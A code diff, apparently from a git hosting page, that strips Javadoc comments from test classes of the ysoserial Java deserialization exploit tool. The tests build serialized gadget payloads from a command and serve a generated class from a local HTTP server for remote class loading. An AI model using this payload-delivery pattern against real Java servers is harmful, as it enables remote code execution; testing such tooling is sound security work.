* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see javax.el.ELResolver#getType(javax.el.ELContext, java.lang.Object, java.lang.Object)
|
|
||||||
*/
|
|
||||||
@Override
|
@Override
|
||||||
public Class<?> getType ( ELContext context, Object base, Object property ) {
|
public Class<?> getType ( ELContext context, Object base, Object property ) {
|
||||||
if ( base == null && "request".equals(property)) {
|
if ( base == null && "request".equals(property)) {
|
||||||
@@ -130,41 +108,25 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
|
|||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see javax.el.ELResolver#setValue(javax.el.ELContext, java.lang.Object, java.lang.Object, java.lang.Object)
|
|
||||||
*/
|
|
||||||
@Override
|
@Override
|
||||||
public void setValue ( ELContext context, Object base, Object property, Object value ) {
|
public void setValue ( ELContext context, Object base, Object property, Object value ) {
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see javax.el.ELResolver#isReadOnly(javax.el.ELContext, java.lang.Object, java.lang.Object)
|
|
||||||
*/
|
|
||||||
@Override
|
@Override
|
||||||
public boolean isReadOnly ( ELContext context, Object base, Object property ) {
|
public boolean isReadOnly ( ELContext context, Object base, Object property ) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see javax.el.ELResolver#getFeatureDescriptors(javax.el.ELContext, java.lang.Object)
|
|
||||||
*/
|
|
||||||
@Override
|
@Override
|
||||||
public Iterator<FeatureDescriptor> getFeatureDescriptors ( ELContext context, Object base ) {
|
public Iterator<FeatureDescriptor> getFeatureDescriptors ( ELContext context, Object base ) {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see javax.el.ELResolver#getCommonPropertyType(javax.el.ELContext, java.lang.Object)
|
|
||||||
*/
|
|
||||||
@Override
|
@Override
|
||||||
public Class<?> getCommonPropertyType ( ELContext context, Object base ) {
|
public Class<?> getCommonPropertyType ( ELContext context, Object base ) {
|
||||||
return null;
|
return null;
|
||||||
@@ -172,9 +134,6 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* @param bytes
|
|
||||||
*/
|
|
||||||
public MyfacesDeserializer ( byte[] bytes ) {
|
public MyfacesDeserializer ( byte[] bytes ) {
|
||||||
super(bytes);
|
super(bytes);
|
||||||
}
|
}
|
||||||
@@ -198,10 +157,6 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @return
|
|
||||||
* @throws MalformedURLException
|
|
||||||
*/
|
|
||||||
private static FacesContext createMockFacesContext () throws MalformedURLException {
|
private static FacesContext createMockFacesContext () throws MalformedURLException {
|
||||||
FacesContext ctx = Mockito.mock(FacesContext.class);
|
FacesContext ctx = Mockito.mock(FacesContext.class);
|
||||||
CompositeELResolver cer = new CompositeELResolver();
|
CompositeELResolver cer = new CompositeELResolver();
|
||||||
|
|||||||
@@ -143,11 +143,7 @@ public class PayloadsTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param payloadClass
|
|
||||||
* @param command
|
|
||||||
* @return
|
|
||||||
*/
|
|
||||||
private static Callable<byte[]> makeSerializeCallable ( final Class<? extends ObjectPayload<?>> payloadClass, final String command ) {
|
private static Callable<byte[]> makeSerializeCallable ( final Class<? extends ObjectPayload<?>> payloadClass, final String command ) {
|
||||||
return new Callable<byte[]>() {
|
return new Callable<byte[]>() {
|
||||||
|
|
||||||
@@ -162,13 +158,6 @@ public class PayloadsTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param t
|
|
||||||
* @param addlClassesForClassLoader
|
|
||||||
* @param deps
|
|
||||||
* @param serialized
|
|
||||||
* @return
|
|
||||||
*/
|
|
||||||
private static Callable<Object> makeDeserializeCallable ( PayloadTest t, final Class<?>[] addlClassesForClassLoader, final String[] deps,
|
private static Callable<Object> makeDeserializeCallable ( PayloadTest t, final Class<?>[] addlClassesForClassLoader, final String[] deps,
|
||||||
final byte[] serialized, final Class<?> customDeserializer ) {
|
final byte[] serialized, final Class<?> customDeserializer ) {
|
||||||
return new Callable<Object>() {
|
return new Callable<Object>() {
|
||||||
@@ -187,15 +176,6 @@ public class PayloadsTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param payloadClass
|
|
||||||
* @return
|
|
||||||
* @throws SecurityException
|
|
||||||
* @throws NoSuchMethodException
|
|
||||||
* @throws InvocationTargetException
|
|
||||||
* @throws IllegalArgumentException
|
|
||||||
* @throws IllegalAccessException
|
|
||||||
*/
|
|
||||||
private static String[] buildDeps ( final Class<? extends ObjectPayload<?>> payloadClass ) throws Exception {
|
private static String[] buildDeps ( final Class<? extends ObjectPayload<?>> payloadClass ) throws Exception {
|
||||||
String[] baseDeps;
|
String[] baseDeps;
|
||||||
if ( DynamicDependencies.class.isAssignableFrom(payloadClass) ) {
|
if ( DynamicDependencies.class.isAssignableFrom(payloadClass) ) {
|
||||||
|
|||||||
@@ -24,9 +24,6 @@ public class RemoteClassLoadingTest implements WrappedTest {
|
|||||||
private String command;
|
private String command;
|
||||||
private String className;
|
private String className;
|
||||||
|
|
||||||
/**
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
public RemoteClassLoadingTest ( String command ) {
|
public RemoteClassLoadingTest ( String command ) {
|
||||||
this.command = command;
|
this.command = command;
|
||||||
this.port = new Random().nextInt(65535-1024)+1024;
|
this.port = new Random().nextInt(65535-1024)+1024;
|
||||||
@@ -34,21 +31,11 @@ public class RemoteClassLoadingTest implements WrappedTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see ysoserial.WrappedTest#getPayloadArgs()
|
|
||||||
*/
|
|
||||||
public String getPayloadArgs () {
|
public String getPayloadArgs () {
|
||||||
return String.format("http://localhost:%d/", this.port) + ":" + this.className;
|
return String.format("http://localhost:%d/", this.port) + ":" + this.className;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see ysoserial.WrappedTest#createCallable(java.util.concurrent.Callable)
|
|
||||||
*/
|
|
||||||
public Callable<Object> createCallable ( Callable<Object> innerCallable ) {
|
public Callable<Object> createCallable ( Callable<Object> innerCallable ) {
|
||||||
return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable);
|
return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable);
|
||||||
}
|
}
|
||||||
@@ -75,9 +62,6 @@ public class RemoteClassLoadingTest implements WrappedTest {
|
|||||||
private byte[] data;
|
private byte[] data;
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param innerCallable
|
|
||||||
*/
|
|
||||||
public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable<Object> innerCallable ) {
|
public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable<Object> innerCallable ) {
|
||||||
super(port);
|
super(port);
|
||||||
this.data = data;
|
this.data = data;
|
||||||
@@ -86,11 +70,6 @@ public class RemoteClassLoadingTest implements WrappedTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see java.util.concurrent.Callable#call()
|
|
||||||
*/
|
|
||||||
public Object call () throws Exception {
|
public Object call () throws Exception {
|
||||||
try {
|
try {
|
||||||
setup();
|
setup();
|
||||||
@@ -102,29 +81,16 @@ public class RemoteClassLoadingTest implements WrappedTest {
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @throws IOException
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
private void setup () throws IOException {
|
private void setup () throws IOException {
|
||||||
start(NanoHTTPD.SOCKET_READ_TIMEOUT, false);
|
start(NanoHTTPD.SOCKET_READ_TIMEOUT, false);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
private void cleanup () {
|
private void cleanup () {
|
||||||
stop();
|
stop();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see fi.iki.elonen.NanoHTTPD#serve(fi.iki.elonen.NanoHTTPD.IHTTPSession)
|
|
||||||
*/
|
|
||||||
@Override
|
@Override
|
||||||
public Response serve ( IHTTPSession sess ) {
|
public Response serve ( IHTTPSession sess ) {
|
||||||
return newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length);
|
return newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length);
|
||||||
|
|||||||
Reference in New Issue
Block a user